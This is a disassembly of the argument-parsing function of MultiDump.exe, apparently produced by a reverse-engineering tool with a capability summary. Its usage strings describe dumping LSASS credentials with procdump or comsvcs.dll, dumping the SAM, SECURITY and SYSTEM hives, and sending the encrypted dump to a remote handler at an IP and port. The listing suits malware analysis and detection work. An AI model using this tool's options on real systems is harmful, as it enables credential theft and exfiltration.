Function at 0x1400010d0
Capabilities:
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x580
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rcx], xmm0
xor r12d, r12d
mov r13, r8
mov r15d, edx
mov rdi, rcx
mov ebp, r12d
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx + 0x30], rax
test edx, edx
jle 0x1400013b3
mov r14d, r12d
lea rsi, [r8 + 8]
lea rdx, str.__help
mov rbx, qword [r13 + r14*8]
cmp byte [rbx], 0x2d
jne 0x140001147
cmp byte [rbx + 1], 0x48
jne 0x140001136
cmp byte [rbx + 2], r12b
je 0x140001167
cmp byte [rbx], 0x2d
jne 0x140001147
cmp byte [rbx + 1], 0x68
jne 0x140001147
cmp byte [rbx + 2], r12b
je 0x140001167
mov rcx, r12
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x14000120c
cmp rcx, 7
jne 0x140001150
lea rcx, str._nUsage:_tMultiDump.exe___p__ProcDumpPath_____l__LocalDumpPath____r__RemoteHandlerAddr______procdump____v__n_n
call fcn.140001010
lea rcx, str._p_t_tPath_to_save_procdump.exe__use_full_path._Default_to_temp_directory_n
call fcn.140001010
lea rcx, str._l_t_tPath_to_save_encrypted_dump_file__use_full_path._Default_to_current_directory_n
call fcn.140001010
lea rcx, str._r_t_tSet_ip:port_to_connect_to_a_remote_handler_n
call fcn.140001010
lea rcx, str.__procdump_tWrites_procdump_to_disk_and_use_it_to_dump_LSASS_n
call fcn.140001010
lea rcx, str.__nodump_tDisable_LSASS_dumping_n
call fcn.140001010
lea rcx, str.__reg_t_tDump_SAM__SECURITY_and_SYSTEM_hives_n
call fcn.140001010
lea rcx, str.__delay_t_tIncrease_interval_between_connections_to_for_slower_network_speeds_n
call fcn.140001010
lea rcx, str._v_t_tEnable_verbose_mode_n
call fcn.140001010
lea rcx, str._nMultiDump_defaults_in_local_mode_using_comsvcs.dll_and_saves_the_encrypted_dump_in_the_current_directory._n
call fcn.140001010
lea rcx, [0x140006730]
call fcn.140001010
lea rcx, str._tMultiDump.exe__l_C:UsersPubliclsass.dmp__v_n
call fcn.140001010
lea rcx, str._tMultiDump.exe___procdump__p_C:Toolsprocdump.exe__r_192.168.1.100:5000_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x50
jne 0x140001221
cmp byte [rbx + 2], r12b
je 0x140001236
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x70
jne 0x140001252
cmp byte [rbx + 2], r12b
jne 0x140001252
lea ecx, [rbp + 1]
cmp ecx, r15d
jge 0x140001252
mov rax, qword [rsi]
inc r14
mov qword [rdi], rax
add rsi, 8
mov ebp, ecx
jmp 0x1400013a1
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x6c
jne 0x140001267
cmp byte [rbx + 2], r12b
je 0x14000127c
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x4c
jne 0x140001299
cmp byte [rbx + 2], r12b
jne 0x140001299
lea ecx, [rbp + 1]
cmp ecx, r15d
jge 0x140001299
mov rax, qword [rsi]
inc r14
mov qword [rdi + 8], rax
add rsi, 8
mov ebp, ecx
jmp 0x1400013a1
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x72
jne 0x1400012aa
cmp byte [rbx + 2], r12b
je 0x1400012bb
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x52
jne 0x1400012d8
cmp byte [rbx + 2], r12b
jne 0x1400012d8
lea ecx, [rbp + 1]
cmp ecx, r15d
jge 0x1400012d8
mov rax, qword [rsi]
inc r14
mov qword [rdi + 0x18], rax
add rsi, 8
mov ebp, ecx
jmp 0x1400013a1
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x76
jne 0x1400012e9
cmp byte [rbx + 2], r12b
je 0x1400012fa
cmp byte [rbx], 0x2d
jne 0x140001306
cmp byte [rbx + 1], 0x56
jne 0x140001306
cmp byte [rbx + 2], r12b
jne 0x140001306
mov dword [rdi + 0x24], 1
jmp 0x1400013a1
lea rdx, str.__procdump
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001322
mov dword [rdi + 0x28], 1
jmp 0x14000139a
lea rdx, str.__nodump
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000133e
mov dword [rdi + 0x2c], 1
jmp 0x14000139a
mov rcx, r12
lea rdx, str.__reg
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x14000136c
cmp rcx, 6
jne 0x140001350
mov dword [rdi + 0x30], 1
jmp 0x14000139a
mov rcx, r12
lea rdx, str.__delay
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x14000139a
cmp rcx, 8
jne 0x140001380
mov dword [rdi + 0x34], 1
lea rdx, str.__help
inc ebp
inc r14
add rsi, 8
cmp ebp, r15d
jl 0x140001120
mov edx, 0x104
lea rcx, [rsp + 0x360]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
test eax, eax
jne 0x1400013e2
lea rcx, str.____Error_getting_current_directory_n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140001416
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathA_Failed_With_Error_:__d__n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [rsp + 0x5c0]
call fcn.140001a50
lea rax, [rsp + 0x5c0]
mov edx, 0x104
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, str._s_s.dmp
lea rcx, [rsp + 0x140]
call fcn.140001070
lea rcx, [rsp + 0x140]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rdi + 0x10], rax
cmp qword [rdi], r12
jne 0x1400014ae
lea rcx, [rsp + 0x5d8]
call fcn.140001a50
lea rax, [rsp + 0x5d8]
mov edx, 0x104
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, str._s_s.exe
lea rcx, [rsp + 0x250]
call fcn.140001070
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rdi], rax
cmp qword [rdi + 0x18], r12
sete r12b
cmp qword [rdi + 8], 0
mov dword [rdi + 0x20], r12d
jne 0x14000150e
lea rcx, [rsp + 0x5d8]
call fcn.140001a50
lea rax, [rsp + 0x5d8]
mov edx, 0x104
lea r9, [rsp + 0x360]
mov qword [rsp + 0x20], rax
lea r8, str._s_s.dat
lea rcx, [rsp + 0x470]
call fcn.140001070
lea rcx, [rsp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov qword [rdi + 8], rax
mov rbx, qword [rsp + 0x5c8]
mov rax, rdi
add rsp, 0x580
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret